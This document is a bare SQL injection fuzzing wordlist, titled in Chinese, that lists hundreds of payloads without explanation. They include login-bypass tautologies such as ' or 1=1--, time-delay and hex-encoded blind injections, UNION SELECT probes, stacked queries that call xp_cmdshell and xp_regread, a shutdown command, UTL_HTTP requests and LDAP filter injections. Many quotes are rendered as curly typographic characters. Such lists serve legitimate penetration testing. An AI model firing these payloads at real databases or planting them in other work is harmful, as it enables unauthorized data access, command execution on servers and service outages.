SQLI FUZZ字典

“or “a”=“a
')or(‘a’=‘a
or 1=1–
‘or 1=1–
a’or’ 1=1–
"or 1=1–
‘or’a’=‘a
“or”="a’=‘a
‘or’’=’
‘or’=‘or’
1 or ‘1’=‘1’=1
1 or ‘1’=‘1’ or 1=1
'OR 1=1
“or 1=1
'xor
‘or 1=1/*
1’or’1’=‘1
’
a’ or 1=1–
“a”” or 1=1–”
or a = a
a’ or ‘a’ = ‘a
1 or 1=1
a’ waitfor delay ‘0:0:10’–
1 waitfor delay ‘0:0:10’–
declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s)
declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
a’
?
’ or 1=1
ý or 1=1 –
x’ AND userid IS NULL; –
x’ AND email IS NULL; –
anything’ OR ‘x’=‘x
x’ AND 1=(SELECT COUNT() FROM tabname); –
x’ AND members.email IS NULL; –
x’ OR full_name LIKE ‘%Bob%
23 OR 1=1
‘; exec master…xp_cmdshell ‘ping 172.10.1.255’–
‘%20or%20’’=’
‘%20or%20’x’='x
%20or%20x=x
‘)%20or%20(‘x’=‘x
0 or 1=1
’ or 0=0 –
" or 0=0 –
or 0=0 –
’ or 0=0 #
or 0=0 #"
or 0=0 #
’ or 1=1–
" or 1=1–
’ or ‘1’=‘1’–
’ or 1 --’
or%201=1
or%201=1 –
’ or 1=1 or ‘’=’
or 1=1 or “”=
’ or a=a–
or a=a
‘) or (‘a’=‘a
) or (a=a
hi or a=a
hi or 1=1 --"
hi’ or 1=1 –
hi’ or ‘a’=‘a
hi’) or (‘a’='a
“hi”") or ("“a”"="“a”
‘hi’ or ‘x’=‘x’;
@variable
,@variable
PRINT
PRINT @@variable
select
insert
as
or
procedure
limit
order by
asc
desc
delete
update
distinct
having
truncate
replace
like
handler
bfilename
’ or username like '%
’ or uname like '%
’ or userid like '%
’ or uid like '%
’ or user like '%
exec xp
exec sp
'; exec master…xp_cmdshell
'; exec xp_regread
t’exec master…xp_cmdshell ‘nslookup www.google.com’–
–sp_password
\x27UNION SELECT
’ UNION SELECT
’ UNION ALL SELECT
’ or (EXISTS)
’ (select top 1
'||UTL_HTTP.REQUEST
1;SELECT%20
to_timestamp_tz
tz_offset
<>”’%😉(&+
‘%20or%201=1
%27%20or%201=1
%20$(sleep%2050)
%20’sleep%2050’
char%4039%41%2b%40SELECT
'%20OR
‘sqlattempt1
(sqlattempt2)
|
%7C
|
%2A%7C
(|(mail=))
%2A%28%7C%28mail%3D%2A%29%29
(|(objectclass=))
%2A%28%7C%28objectclass%3D%2A%29%29
(
%28
)
%29
&
%26
!
%21
’ or ‘’=’
x’ or 1=1 or ‘x’='y
/
//
//
/
a’ or 3=3–
“a”" or 3=3–"
’ or 3=3
ý or 3=3 –
"

–
’ –
–’;
’ ;
= ’
= ;
= –
\x23
\x27
\x3D \x3B’
\x3D \x27
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
‘or select *
admin’–
';shutdown–
’ or ‘x’=‘x
" or “x”=“x
‘) or (‘x’=‘x
" or 0=0 #
"’ or 1 --’”
" or 1=1 or “”="
" or “a”="a
“) or (“a”=“a
hi” or “a”=“a
hi” or 1=1 –
hi”) or (“a”=“a
<>”’%😉(&+
’ and ‘’ like ’
’ AnD ‘’ like ’
’ or ‘’ like ’
’ and ‘’ like '%
’ aND ‘’ like '%
’ and ‘’ like ‘’–
’ and 2>1–
’ and 2>3–
') and (‘x’='x
) and (1=1
¡® or 1=1 –
¡® or 3=3 –